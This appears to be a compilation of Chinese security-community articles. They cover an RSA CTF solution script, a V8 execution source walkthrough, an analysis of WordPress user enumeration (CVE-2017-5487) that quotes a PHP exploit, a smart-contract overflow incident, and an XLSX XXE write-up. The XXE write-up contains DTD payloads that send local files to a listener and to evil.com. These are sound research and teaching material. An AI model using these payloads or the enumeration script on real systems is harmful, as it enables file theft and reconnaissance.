#c = 16676601131640655901342475969601337427286047597894727986067634116374589317621488654936562674556939585073850506354311834188829167562314091530089729249241688846569843558050420213958740311495135405543058339072725568714794743716386272697451778782821412367266489621066033418919772438167447846823060498863512632501986187983681481596348645501898397496124518261389750934408610820155987555796538021543359578003516813238600102768032404674440745599008436141834047379385255425272931290260904247882222634163480612880777600472827370294704757732130709966916443072347694301981918818620790654070949303144137945575568957467973992949730723090235277308941670839844509297374785398835235141122711766038463688262284420990305596960213756532391745361750898410276253711347610603772566889503001086791753760157250537857744447020338598500236461014133988456123805771079149267109142498336132221781737705105764070319353600566896855117027707381557563329857414974839310224902928169034177606817293688819170102103063041402067687398857611223462
#r = 1951216713210018899072913679877701984078605632816373140227957101795900768239459107199874527189474823683383498008030776033549165133365653412351458620727235480453823134172160962540008901165017593735888357448256342395844179252479046810866700841754419223240634425419941442213721047770479637605796828670180505163496149394679917056738825503018637176104418635597247740210544365148128056698191028571
#8310794526722831422025862174782419467814572143076434807348959394543712375769358046893867668084816009827666871252046250502451022247234160334735565602425204559045395593077102172207134933653174076554848866377062913033297398670128178741693276180212787995705792487024509194814961992282104341794192635824703991272313169555841845797451689247134611047656314757778140969122487234324858755963613738964977785225064012943722300767038694060309596438021657190082884494828180991225519268103496277082496776375417914617430941621234906625836888763117628925401803514478708592440089100844931175896263835556884776144952649237993043351606175711382730866878599470601660002715546011453356093999160898493128506112688531655531176100426473426696420351337216970070733591918418387370199614148316519366419200524903876915224232772089364428318748335704360010034537030492937111459811332811905071689712704884979478752829387806305614976609708077805372670232810255758846635821864952554944100289923658545086911236237627781057825840037501334429
`n`由三个素数构成，其中r已经给出，于是又
`e*d = 1 mod phi`即 `e*d = 1 + k*phi`，其中k恒为2，可以得到`e*d =
1+2*(p-1)*(q-1)*(r-1)`,化简后有
`e*d = 1+K(N-s+1)`其中`K = 2*(r-1),N = p*q,s =
p+q`，此时已经将其转换成了单元多项式，且其中的根`s`很小(1024位)
由于给出了`d^e mod n` 我们很容易计算`(e*d)^e mod n` 此时我们得到了一个多项式 `f(x) = (1+K(N-x+1))^e
-C`其中`C = (e*d)^e mod n`,使用最终脚本如下：
from Crypto.Util.number import *
n = 40922607845571974639094308742839206224146242389200435546826449471547649318068202214315052746164700327884669920807873877153302365891057342964514972877830721839970583360181044952369529567877302250138627214156134324273006643743832782064762132241047824323326123112192584240095197926174334750362517226526895187416227397380891562008947088379640163835124837990827356906632844228753638684872217058005131262474768812560438298637695988660070178861609979328159041878343033363917985727840578526808892108373956636957114175952508811309317306118491533574932356699953256247834452547959548582730790458569189430889763614562381519010410402538498577496011072255925614032581014922736616684083563289722400846219599806133230800588239147160296752730116141191660418633382192636140044298733658684284938485029286103007107468609777892180250933472775790364225946138197236365379495695466008946936792522060717058044119933541902711163141980459067895658615062695484187688189996012075196840428862584331863913156531842723169921683221419730779
c = 16676601131640655901342475969601337427286047597894727986067634116374589317621488654936562674556939585073850506354311834188829167562314091530089729249241688846569843558050420213958740311495135405543058339072725568714794743716386272697451778782821412367266489621066033418919772438167447846823060498863512632501986187983681481596348645501898397496124518261389750934408610820155987555796538021543359578003516813238600102768032404674440745599008436141834047379385255425272931290260904247882222634163480612880777600472827370294704757732130709966916443072347694301981918818620790654070949303144137945575568957467973992949730723090235277308941670839844509297374785398835235141122711766038463688262284420990305596960213756532391745361750898410276253711347610603772566889503001086791753760157250537857744447020338598500236461014133988456123805771079149267109142498336132221781737705105764070319353600566896855117027707381557563329857414974839310224902928169034177606817293688819170102103063041402067687398857611223462
r = 1951216713210018899072913679877701984078605632816373140227957101795900768239459107199874527189474823683383498008030776033549165133365653412351458620727235480453823134172160962540008901165017593735888357448256342395844179252479046810866700841754419223240634425419941442213721047770479637605796828670180505163496149394679917056738825503018637176104418635597247740210544365148128056698191028571
t = 8310794526722831422025862174782419467814572143076434807348959394543712375769358046893867668084816009827666871252046250502451022247234160334735565602425204559045395593077102172207134933653174076554848866377062913033297398670128178741693276180212787995705792487024509194814961992282104341794192635824703991272313169555841845797451689247134611047656314757778140969122487234324858755963613738964977785225064012943722300767038694060309596438021657190082884494828180991225519268103496277082496776375417914617430941621234906625836888763117628925401803514478708592440089100844931175896263835556884776144952649237993043351606175711382730866878599470601660002715546011453356093999160898493128506112688531655531176100426473426696420351337216970070733591918418387370199614148316519366419200524903876915224232772089364428318748335704360010034537030492937111459811332811905071689712704884979478752829387806305614976609708077805372670232810255758846635821864952554944100289923658545086911236237627781057825840037501334429
k = 2*(r-1)
e = 3
PR.<x> = PolynomialRing(Zmod(n))
left = (t*27)%n
N = n//r
f = (1+k*(N-x+1))^e - left
print(f.monic().small_roots(X=2^1025,beta=1,epsilon = 0.04))
求得`x == p+q`后解二次方程得到`p,q`最终可以得到结果。
## 参考链接
[crack_lcg](https://tailcall.net/blog/cracking-randomness-lcgs/)
[strange_lsb](https://gist.github.com/zrax-x/f38a4143e7b79d371e32ce16a34b4bf6)
[nsucrypto](https://nsucrypto.nsu.ru/archive/2019/problems_solution#data)
[LLL and RSA](https://github.com/mimoo/RSA-and-LLL-attacks) | 社区文章 |
# 连载《Chrome V8 原理讲解》第十篇 V8 Execution源码分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 摘要
`Execution`是V8执行Javascript字节码的运行单元，它负责启动Ignition执行字节码。前几篇文章对Javascript的执行过程和理论知识做过介绍。本文重在实践，注重梳理`Execution`工作流程，从`SharedFunction`谈起，跟着Javascript测试用例的执行过程走，代码执行到哪，就讲到哪，详细阐述运行单元`Execution`的具体工作内容、动作步骤和关键节点，给读者展现一个“活动”的V8。
本文剩余内容按字节码的执行顺序讲解该过程中涉及到的V8源码，故只设置一个章节(章节2)。
**关键字：** Execution，SharedFunction，Context，BindToCurrentContext
## 2 Execution执行单元
经过`GetSharedFunctionInfoForScript()`之后，得到了`MayHandle<SharedFunctionInfo>`类型的`maybe_result`数据，见下段代码：
0. MaybeHandle<SharedFunctionInfo> Compiler::GetSharedFunctionInfoForScript(
1. Isolate* isolate, Handle<String> source,
2. const Compiler::ScriptDetails& script_details,
3. ScriptOriginOptions origin_options, v8::Extension* extension,
4. ScriptData* cached_data, ScriptCompiler::CompileOptions compile_options,
5. ScriptCompiler::NoCacheReason no_cache_reason, NativesFlag natives) {
6. //...................删除部分代码，留下最核心功能
7. // Do a lookup in the compilation cache but not for extensions.
8. MaybeHandle<SharedFunctionInfo> maybe_result;
9. IsCompiledScope is_compiled_scope;
10. if (extension == nullptr) {
11. bool can_consume_code_cache =
12. compile_options == ScriptCompiler::kConsumeCodeCache;
13. if (can_consume_code_cache) {
14. compile_timer.set_consuming_code_cache();
15. }
16. // First check per-isolate compilation cache.
17. maybe_result = compilation_cache->LookupScript(
18. source, script_details.name_obj, script_details.line_offset,
19. script_details.column_offset, origin_options, isolate->native_context(),
20. language_mode);
21. if (!maybe_result.is_null()) {
22. compile_timer.set_hit_isolate_cache();
23. }
24. }
25. //...................删除部分代码，留下最核心功能
26. if (maybe_result.is_null()) {
27. ParseInfo parse_info(isolate);
28. // No cache entry found compile the script.
29. NewScript(isolate, &parse_info, source, script_details, origin_options,
30. natives);
31. // Compile the function and add it to the isolate cache.
32. if (origin_options.IsModule()) parse_info.set_module();
33. parse_info.set_extension(extension);
34. parse_info.set_eager(compile_options == ScriptCompiler::kEagerCompile);
35. parse_info.set_language_mode(
36. stricter_language_mode(parse_info.language_mode(), language_mode));
37. maybe_result = CompileToplevel(&parse_info, isolate, &is_compiled_scope);
38. Handle<SharedFunctionInfo> result;
39. if (extension == nullptr && maybe_result.ToHandle(&result)) {
40. DCHECK(is_compiled_scope.is_compiled());
41. compilation_cache->PutScript(source, isolate->native_context(),
42. language_mode, result);
43. } else if (maybe_result.is_null() && natives != EXTENSION_CODE) {
44. isolate->ReportPendingMessages();
45. }
46. }
47. return maybe_result;
48. }
获取`SharedFunction`时先查找`compilation
cache`，命中则直接返回结果，样例JS源码是第一次运行，第26行的`maybe_result`是`null`，执行37行的`CompileToplevel()`，得到编译后的结果`maybe_result`。进入Execution执行单元之前，还需要绑定当面上下文，代码如下：
0. Local<Script> UnboundScript::BindToCurrentContext() {
1. auto function_info =
2. i::Handle<i::SharedFunctionInfo>::cast(Utils::OpenHandle(this));
3. i::Isolate* isolate = function_info->GetIsolate();
4. i::Handle<i::JSFunction> function =
5. isolate->factory()->NewFunctionFromSharedFunctionInfo(
6. function_info, isolate->native_context());
7. return ToApiHandle<Script>(function);
8. }
完成绑定后，进入`ExecuteString()`，这是执行单元的入口函数，代码如下：
0. bool Shell::ExecuteString(Isolate* isolate, Local<String> source,
1. Local<Value> name, PrintResult print_result,
2. ReportExceptions report_exceptions,
3. ProcessMessageQueue process_message_queue) {
4. bool success = true;
5. {
6. PerIsolateData* data = PerIsolateData::Get(isolate);
7. Local<Context> realm =
8. Local<Context>::New(isolate, data->realms_[data->realm_current_]);
9. Context::Scope context_scope(realm);
10. MaybeLocal<Script> maybe_script;
11. Local<Context> context(isolate->GetCurrentContext());
12. ScriptOrigin origin(name);
13. if (options.compile_options == ScriptCompiler::kConsumeCodeCache) {
14. //...................删除部分代码，留下最核心功能
15. } else if (options.stress_background_compile) {
16. //...................删除部分代码，留下最核心功能
17. } else {
18. ScriptCompiler::Source script_source(source, origin);
19. maybe_script = ScriptCompiler::Compile(context, &script_source,
20. options.compile_options);
21. }
22. maybe_result = script->Run(realm);
23. //...................删除部分代码，留下最核心功能
24. if (options.code_cache_options ==
25. ShellOptions::CodeCacheOptions::kProduceCacheAfterExecute) {
26. // Serialize and store it in memory for the next execution.
27. ScriptCompiler::CachedData* cached_data =
28. ScriptCompiler::CreateCodeCache(script->GetUnboundScript());
29. StoreInCodeCache(isolate, source, cached_data);
30. delete cached_data;
31. }
32. if (process_message_queue && !EmptyMessageQueues(isolate)) success = false;
33. data->realm_current_ = data->realm_switch_;
34. }
35. DCHECK(!try_catch.HasCaught());
36. return success;
37. }
上述代码中，`maybe_script`变量在上述代码中被多次重复使用，在debug时可以观察到它代表的语义多次发生变化，我们只需关注`this`指针的结果即可。19行执行完后得到`maybe_script`结果，进入22行`script->Run(realm)`，代码如下：
0. MaybeLocal<Value> Script::Run(Local<Context> context) {
1. auto isolate = reinterpret_cast<i::Isolate*>(context->GetIsolate());
2. TRACE_EVENT_CALL_STATS_SCOPED(isolate, "v8", "V8.Execute");
3. ENTER_V8(isolate, context, Script, Run, MaybeLocal<Value>(),
4. InternalEscapableScope);
5. i::HistogramTimerScope execute_timer(isolate->counters()->execute(), true);
6. i::AggregatingHistogramTimerScope timer(isolate->counters()->compile_lazy());
7. i::TimerEventScope<i::TimerEventExecute> timer_scope(isolate);
8. auto fun = i::Handle<i::JSFunction>::cast(Utils::OpenHandle(this));
9. i::Handle<i::Object> receiver = isolate->global_proxy();
10. Local<Value> result;
11. has_pending_exception = !ToLocal<Value>(
12. i::Execution::Call(isolate, fun, receiver, 0, nullptr), &result);
13. RETURN_ON_FAILED_EXECUTION(Value);
14. RETURN_ESCAPED(result);
15. }
上述代码中，第8行`auto fun =
i::Handle<i::JSFunction>::cast(Utils::OpenHandle(this));`将`this`结果转为`JSFunction`，得到`console.log(JsPrint(6));`的fun，fun是JSFuncion类型，fun中包括了字节码序列，进入12行的`call()`方法。在`call()`方法中，执行`SetUpForCall()`完成参数的设置，最后进入`Invoke()`，代码如下：
0. V8_WARN_UNUSED_RESULT MaybeHandle<Object> Invoke(Isolate* isolate,
1. const InvokeParams& params) {
2. //...................删除部分代码，留下最核心功能
3. Object value;
4. Handle<Code> code =
5. JSEntry(isolate, params.execution_target, params.is_construct);
6. {
7. SaveContext save(isolate);
8. SealHandleScope shs(isolate);
9. if (FLAG_clear_exceptions_on_js_entry) isolate->clear_pending_exception();
10. if (params.execution_target == Execution::Target::kCallable) {
11. // clang-format off
12. // {new_target}, {target}, {receiver}, return value: tagged pointers
13. // {argv}: pointer to array of tagged pointers
14. using JSEntryFunction = GeneratedCode<Address(
15. Address root_register_value, Address new_target, Address target,
16. Address receiver, intptr_t argc, Address** argv)>;
17. // clang-format on
18. JSEntryFunction stub_entry =
19. JSEntryFunction::FromAddress(isolate, code->InstructionStart());
20. Address orig_func = params.new_target->ptr();
21. Address func = params.target->ptr();
22. Address recv = params.receiver->ptr();
23. Address** argv = reinterpret_cast<Address**>(params.argv);
24. RuntimeCallTimerScope timer(isolate, RuntimeCallCounterId::kJS_Execution);
25. value = Object(stub_entry.Call(isolate->isolate_data()->isolate_root(),
26. orig_func, func, recv, params.argc, argv));
27. } else {
28. //...................删除部分代码，留下最核心功能
29. }
30. }
在`Invoke()`中，第18行获得入口`Builtin`功能，该`Builtin`的编号是40，生成函数是`Generate_JSEntry`，它的作用是为字节码执行做准备工作。第25行进入执行函数`Call()`，该函数中调用了函数指针`fn_ptr_`，该指针是第40号`Builtin`，测试样例的字节码序列是该函数的参数，目前是c++级别的调试跟踪，图1给出了调用堆栈，从`fn_ptr_`之后将进入汇编码。
这之后进入汇编执行，先执行下面的`Generate_JSEntryVariant`完成执行前的准备工作，然后执行样例代码。
0. void Generate_JSEntryVariant(MacroAssembler* masm, StackFrame::Type type,
1. Builtins::Name entry_trampoline) {
2. Label invoke, handler_entry, exit;
3. Label not_outermost_js, not_outermost_js_2;
4. { // NOLINT. Scope block confuses linter.
5. NoRootArrayScope uninitialized_root_register(masm);
6. // Set up frame.
7. __ pushq(rbp);
8. __ movq(rbp, rsp);
9. // Push the stack frame type.
10. __ Push(Immediate(StackFrame::TypeToMarker(type)));
11. // Reserve a slot for the context. It is filled after the root register has
12. // been set up.
13. __ AllocateStackSpace(kSystemPointerSize);
14. // Save callee-saved registers (X64/X32/Win64 calling conventions).
15. __ pushq(r12);
16. __ pushq(r13);
17. __ pushq(r14);
18. __ pushq(r15);
19. #ifdef _WIN64
20. __ pushq(rdi); // Only callee save in Win64 ABI, argument in AMD64 ABI.
21. __ pushq(rsi); // Only callee save in Win64 ABI, argument in AMD64 ABI.
22. #endif
23. __ pushq(rbx);
24. //.......................代码太长，省略很多.............................
25. __ ret(0);
26. }
27. } // namespace
28. //==================分隔线===============================
29. void Builtins::Generate_JSEntry(MacroAssembler* masm) {
30. Generate_JSEntryVariant(masm, StackFrame::ENTRY,
31. Builtins::kJSEntryTrampoline);
32. }
见代码30行，40号Builtin功能`JSEntry`的实现由`Generate_JSEntryVariant`负责，`Builtin`功能的分析方法参见上一篇文章，图2给出汇编代码执行的开始片段，请读者自行跟踪。
图2中上面有c++源码，下面就是汇编码了。测试样例`console.log(JsPrint(6));`，在V8中`console`是一个全局功能，它的实现如下代码：
0. #define RUNTIME_FUNCTION_RETURNS_TYPE(Type, InternalType, Convert, Name) \
1. static V8_INLINE InternalType __RT_impl_##Name(Arguments args, \
2. Isolate* isolate); \
3. \
4. V8_NOINLINE static Type Stats_##Name(int args_length, Address* args_object, \
5. Isolate* isolate) { \
6. RuntimeCallTimerScope timer(isolate, RuntimeCallCounterId::k##Name); \
7. TRACE_EVENT0(TRACE_DISABLED_BY_DEFAULT("v8.runtime"), \
8. "V8.Runtime_" #Name); \
9. Arguments args(args_length, args_object); \
10. return Convert(__RT_impl_##Name(args, isolate)); \
11. } \
12. \
13. Type Name(int args_length, Address* args_object, Isolate* isolate) { \
14. DCHECK(isolate->context().is_null() || isolate->context().IsContext()); \
15. CLOBBER_DOUBLE_REGISTERS(); \
16. if (V8_UNLIKELY(TracingFlags::is_runtime_stats_enabled())) { \
17. return Stats_##Name(args_length, args_object, isolate); \
18. } \
19. Arguments args(args_length, args_object); \
20. return Convert(__RT_impl_##Name(args, isolate)); \
21. } \
22. \
23. static InternalType __RT_impl_##Name(Arguments args, Isolate* isolate)
24. #define CONVERT_OBJECT(x) (x).ptr()
25. #define CONVERT_OBJECTPAIR(x) (x)
26. #define RUNTIME_FUNCTION(Name) \
27. RUNTIME_FUNCTION_RETURNS_TYPE(Address, Object, CONVERT_OBJECT, Name)
28. //==================分隔线===============================
29. //==================分隔线===============================
30. Object DeclareGlobals(Isolate* isolate, Handle<FixedArray> declarations,
31. int flags, Handle<JSFunction> closure) {
32. HandleScope scope(isolate);
33. Handle<JSGlobalObject> global(isolate->global_object());
34. Handle<Context> context(isolate->context(), isolate);
35. Handle<FeedbackVector> feedback_vector = Handle<FeedbackVector>::null();
36. Handle<ClosureFeedbackCellArray> closure_feedback_cell_array =
37. Handle<ClosureFeedbackCellArray>::null();
38. if (closure->has_feedback_vector()) {
39. feedback_vector =
40. Handle<FeedbackVector>(closure->feedback_vector(), isolate);
41. closure_feedback_cell_array = Handle<ClosureFeedbackCellArray>(
42. feedback_vector->closure_feedback_cell_array(), isolate);
43. } else {
44. closure_feedback_cell_array = Handle<ClosureFeedbackCellArray>(
45. closure->closure_feedback_cell_array(), isolate);
46. }
47. // Traverse the name/value pairs and set the properties.
48. int length = declarations->length();
49. FOR_WITH_HANDLE_SCOPE(isolate, int, i = 0, i, i < length, i += 4, {
50. Handle<String> name(String::cast(declarations->get(i)), isolate);
51. FeedbackSlot slot(Smi::ToInt(declarations->get(i + 1)));
52. Handle<Object> possibly_feedback_cell_slot(declarations->get(i + 2),
53. isolate);
54. Handle<Object> initial_value(declarations->get(i + 3), isolate);
55. bool is_var = initial_value->IsUndefined(isolate);
56. bool is_function = initial_value->IsSharedFunctionInfo();
57. DCHECK_NE(is_var, is_function);
58. Handle<Object> value;
59. if (is_function) {
60. DCHECK(possibly_feedback_cell_slot->IsSmi());
61. Handle<FeedbackCell> feedback_cell =
62. closure_feedback_cell_array->GetFeedbackCell(
63. Smi::ToInt(*possibly_feedback_cell_slot));
64. // Copy the function and update its context. Use it as value.
65. Handle<SharedFunctionInfo> shared =
66. Handle<SharedFunctionInfo>::cast(initial_value);
67. Handle<JSFunction> function =
68. isolate->factory()->NewFunctionFromSharedFunctionInfo(
69. shared, context, feedback_cell, AllocationType::kOld);
70. value = function;
71. } else {
72. value = isolate->factory()->undefined_value();
73. }
74. // Compute the property attributes. According to ECMA-262,
75. // the property must be non-configurable except in eval.
76. bool is_eval = DeclareGlobalsEvalFlag::decode(flags);
77. int attr = NONE;
78. if (!is_eval) attr |= DONT_DELETE;
79. // ES#sec-globaldeclarationinstantiation 5.d:
80. // If hasRestrictedGlobal is true, throw a SyntaxError exception.
81. Object result = DeclareGlobal(isolate, global, name, value,
82. static_cast<PropertyAttributes>(attr), is_var,
83. is_function, RedeclarationType::kSyntaxError,
84. feedback_vector, slot);
85. if (isolate->has_pending_exception()) return result;
86. });
87. return ReadOnlyRoots(isolate).undefined_value();
88. }
89. //==================分隔线===============================
90. //==================分隔线===============================
91. RUNTIME_FUNCTION(Runtime_DeclareGlobals) {
92. HandleScope scope(isolate);
93. DCHECK_EQ(3, args.length());
94. CONVERT_ARG_HANDLE_CHECKED(FixedArray, declarations, 0);
95. CONVERT_SMI_ARG_CHECKED(flags, 1);
96. CONVERT_ARG_HANDLE_CHECKED(JSFunction, closure, 2);
97. return DeclareGlobals(isolate, declarations, flags, closure);
98. }
`RUNTIME_FUNCTION(Runtime_DeclareGlobals)`是由宏模板定义的全局功能，该函数先检查参数的正确性，然后进入`DeclareGlobals()`完成具体功能。在我们的测试样例中，`DeclareGlobals()`是获得`console`的全局对象。得到该对象后返回到汇编码状态接着执行，获得该对象的`log`属性，也就是`console.log`，检测到它的参数`JsPrint(6)`是函数，然后编译此函数，得到一份字节码序列，开启一个新的执行单元，请读者自行跟踪。
好了，今天到这里，下次见。
**恳请读者批评指正、提出宝贵意见**
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
**Author: p0wd3r (知道创宇404安全实验室)**
**Date: 2017-03-05**
## 0x00 漏洞概述
### 漏洞简介
近日 exploit-db 上公布了一个 Wordpress < 4.7.1 的用户名枚举漏洞：<https://www.exploit-db.com/exploits/41497/> ，实际上该漏洞于1月14号就已经在互联网上公布，并赋予了
[CVE-2017-5487](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5487)。利用该漏洞攻击者可以在未授权状态下获取之前发布过文章的用户的用户名、id 等信息。
### 漏洞影响
未授权状态下获取之前发布过文章的用户的用户名、 id 等信息。
触发前提：Wordpress 配置 REST API
影响版本：< 4.7.1
## 0x01 漏洞复现
### 环境搭建
下载相应版本的 Wordpress ，然后配置 REST
API，具体参见：<https://www.seebug.org/vuldb/ssvid-92637>
### 复现
我们先看 exploit-db 上给出的 exp ：
#!usr/bin/php
<?php
#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: [email protected]
#Site: https://mateuslino.tk
header ('Content-type: text/html; charset=UTF-8');
$url= "https://bucaneiras.org/";
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
echo "*-----------------------------*\n";
foreach($json as $users){
echo "[*] ID : |" .$users['id'] ."|\n";
echo "[*] Name: |" .$users['name'] ."|\n";
echo "[*] User :|" .$users['slug'] ."|\n";
echo "\n";
}echo "*-----------------------------*";}
else{echo "[*] No user";}
?>
可以看到它是利用 REST API 来获取用户的信息，对应的文件是`wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php`，接下来使用 exp 并且开启动态调试。
首先程序进入`get_items_permissions_check`函数：
/**
* Permissions check for getting all users.
*
* @since 4.7.0
* @access public
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access, otherwise WP_Error object.
*/
public function get_items_permissions_check( $request ) {
// Check if roles is specified in GET request and if user can list users.
if ( ! empty( $request['roles'] ) && ! current_user_can( 'list_users' ) ) {
return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to filter users by role.' ), array( 'status' => rest_authorization_required_code() ) );
}
if ( 'edit' === $request['context'] && ! current_user_can( 'list_users' ) ) {
return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to list users.' ), array( 'status' => rest_authorization_required_code() ) );
}
if ( in_array( $request['orderby'], array( 'email', 'registered_date' ), true ) && ! current_user_can( 'list_users' ) ) {
return new WP_Error( 'rest_forbidden_orderby', __( 'Sorry, you are not allowed to order users by this parameter.' ), array( 'status' => rest_authorization_required_code() ) );
}
return true;
}
函数中有三个条件语句，如果条件成立就返回错误。但是仔细看每一个的条件都是 `$request[xxx] && ! current_user_can(
'list_users'
)`，这也就意味者只要前面的语句不成立，那么后面的`current_user_can('list_users')`就失去了作用。至于`$request['roles']`、`$request['context']`和`$request['orderby']`的值，通过调试我们可以看到，三者值如下：
均不符合条件，所以函数返回`true`，成功通过了权限检查。
接下来程序进入了`get_items`函数，先是设置了一些查询参数然后使用`$query = new WP_User_Query(
$prepared_args );`进行查询，我们直接在`WP_User_Query`的`query`函数处下断点：
`$this->request`即为执行的查询，其值如下：
SELECT SQL_CALC_FOUND_ROWS wp_users.* FROM wp_users WHERE 1=1 AND wp_users.ID IN ( SELECT DISTINCT wp_posts.post_author FROM wp_posts WHERE wp_posts.post_status = 'publish' AND wp_posts.post_type IN ( 'post', 'page', 'attachment' ) ) ORDER BY display_name ASC LIMIT 0, 10
可见该 API 可以获取的用户必须满足以下几个条件：
* 发表过文章
* 文章的当前状态是`publish`
* 文章类型是`post`、`page`、`attachment`其中之一
在我们的环境中，admin 用户默认会有文章，所以我们执行 exp 后会得到 admin 的一些信息：
接下来我们再创建一个新的用户 tommy，再执行 exp 发现结果和上面一样，原因就是因为还没有发文章。我们登录 tommy 并发布一篇文章，然后再执行
exp：
这回就可以获取 tommy 的信息了。
## 0x02 补丁分析
Wordpress 官方给出的补丁如下：
> Only show users that have authored a post of a post type that has
> `show_in_rest` set to true.
意思是仅当用户发表的文章的类型的`show_in_rest`属性为`true`时，才可以获取该用户的信息。
在代码层面上，补丁设置了`$prepared_args['has_published_posts']`的值，该值在构造查询语句时会用到：
if ( $qv['has_published_posts'] && $blog_id ) {
if ( true === $qv['has_published_posts'] ) {
$post_types = get_post_types( array( 'public' => true ) );
} else {
$post_types = (array) $qv['has_published_posts'];
}
...
将查询中的`$post_type`设置为`show_in_rest=true`的那些类型，那么哪些类型的`show_in_rest`为`true`呢？
在`wp-includes/post.php`中的`create_initial_post_types`函数中可以看到`post`、`page`和`attachment`的`show_in_rest`均为`true`，和补丁前查询中的类型一致，也就是说其实最新版本在默认情况下还是可以使用这个
exp 的，实际测试的结果也是如此：
至于为什么这样，笔者认为可能该 API
的设计意图就是让其他人获得发布过文章的用户的用户名，因为文章已经公开了，用户名自然也就公开了。这次补丁给了用户更多的定制化空间，因为用户可以自己通过`register_post_type`来创建文章类型，补丁中提供的`show_in_rest`属性可以让用户自己选择用户信息对于
API 的可见性。
本文写得实在仓促，如果哪里有不对的地方，还望大家多多指教。
## 0x03 参考
* <https://www.seebug.org/vuldb/ssvid-92732>
* <https://www.exploit-db.com/exploits/41497/?rss>
* <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5487>
* <https://github.com/WordPress/WordPress/commit/daf358983cc1ce0c77bf6d2de2ebbb43df2add60>
* * * | 社区文章 |
作者：腾讯湛泸实验室
来源：<https://weibo.com/ttarticle/p/show?id=2309404232782242012923#_0>
此次漏洞发生的虚拟货币为SmartMesh（简称SMT），目前该货币以以太坊智能合约的形式发布，Token为[0x55f93985431fc9304077687a35a1ba103dc1e081](https://etherscan.io/address/0x55f93985431fc9304077687a35a1ba103dc1e081
"0x55f93985431fc9304077687a35a1ba103dc1e081")，最初触发漏洞的交易记录位于下图所示的交易记录上：
异常交易记录
根据图中Input
Data中的信息，定位到SMT中发生错误的智能合约函数transferProxy，该函数主要用于没有以太币的SMT币拥有者，将签署过的交易信息交由第三方节点进行发布，而消息的发送节点会收到SMT币作为酬劳。
漏洞函数截图
该函数的第一行对于此次交易转出者的余额进行校验。交易记录中的0-6变量依次对应于该函数的７个参数，此处的_feeSmt + _value实际为：
0x7000000000000000000000000000000000000000000000000000000000000001 +
0x8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
运算结果会被映射为uint256型数据，因此会发生无符号整型数据的上溢，使计算结果为0，从而绕过了此处检查。这最终将导致msg.sender（发送交易消息的节点）和`_to`（钱币接受者）代表的钱包在记账时分别记入feeSmt（0x7000......）和`_value`（0x8FFF......）个SMT货币。这一过程被同样被记录在了以太坊的交易记录中，如下图最后两条记录所示，而后续发生的交易则是攻击者向其他钱包进行钱币转移的操作。
攻击者账户交易信息
* * * | 社区文章 |
# 0x00 概述
Microsoft
Office从2007版本引入了新的开放的XML文件格式，基于压缩的ZIP文件格式规范，改后缀名为zip再解压缩可以发现其中多数是描述工作簿数据、元数据、文档信息的XML文件。
许多网站允许上传/导入文件，处理文件内部数据一般都会解析XML，若未安全配置解析器，则可能存在XXE漏洞。
通常大多数解析开始的地方是xl/workbook.xml，它提供了工作簿内容的概述，包含工作表及其名称的列表。各个工作表位于xl/worksheets目录下，通常内容最终位于xl/sharedStrings.xml。
大多数应用程序似乎都将xl / workbook.xml放入其XML解析器中以获取工作表列表，然后分别读取每个工作表以获取单元格内容。
xls与xlsx格式不同，xls是特有的二进制格式，其核心结构是复合文档类型，而xlsx的核心结构是XML类型，采用基于XML的压缩方式。xls格式文件无法插入payload进行XXE攻击。
测试的时候，根据功能点，docx，xlsx都可以尝试。
# 0x01 漏洞发现
<https://zhpt.xxx.com/yyyService/zzz/yyymastermanager/batchAdd>
制作xlsx：
unzip ImportProductTemplate.xlsx
zip -r xxetest00.xslx *
即使返回导入失败，也成功解析了xml
由于是java的站，所以利用ftp协议读取文件
可能由于目标jdk版本过高，无法完整读取有换行的文件，也无法列目录。
excel xxe可触发解析的xlsx内文件：
[Content_Types].xml
xl/workbook.xml
xl/worksheets/sheet1.xml
_rels/.rels
这些也可以尝试：
xl/_rels/workbook.xml.rels
xl/theme/theme1.xml
_rels/.rels
docProps/app.xml
docProps/core.xml
xl/_rels/workbook.xml.rels
xl/styles.xml
xl/workbook.xml
# 0x02 思考
java环境，读取有换行的文件成功与否与和java版本/操作系统有关。
php可以用base64编码带出，如下：
xxe.dtd:
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.1.2:8999/getxxeinfo.php?p=%payload;'>">
%int;
%trick;
而java会出异常
//jdk8u201
低版本Java可用gopher(java1.6)带出
<!ENTITY % payload SYSTEM "file:///c:/Windows/win.ini"><!ENTITY % int "<!ENTITY % trick SYSTEM 'gopher://evil.com/%payload;'>">
%int;
%trick;
高版本java（不知道从1.8哪个版本开始）的ftp协议对换行做了限制
//jdk8u201
//某些版本java会有checkUrl()在issueCommand()之前就检查\n
//sun.net.www.protocol.ftp.FtpURLConnection.checkURL()
Java支持的协议
按常理在读取多行文件时候，高版本java碰到异常就读取不了了，但是/etc/passwd可以返回第一行的部分，其他文件就没返回。
利用solr xxe漏洞测试
java 8u151
192.168.1.2:8983/solr/demo/select?q=<%3Fxml version%3D"1.0" encoding%3D"UTF-8"%3F>%0A<!DOCTYPE root [%0A<!ENTITY %25 remote SYSTEM "http%3A%2F%2F192.168.1.2:8099%2Fx0.dtd">%0A%25remote%3B]>%0A<root%2F>&wt=xml&defType=xmlparser
尝试读多行文件
ftp无返回，但是/etc/passwd有返回
http无返回
ftp读取passwd出现下面异常，应该就是换行问题，能返回第一行一部分
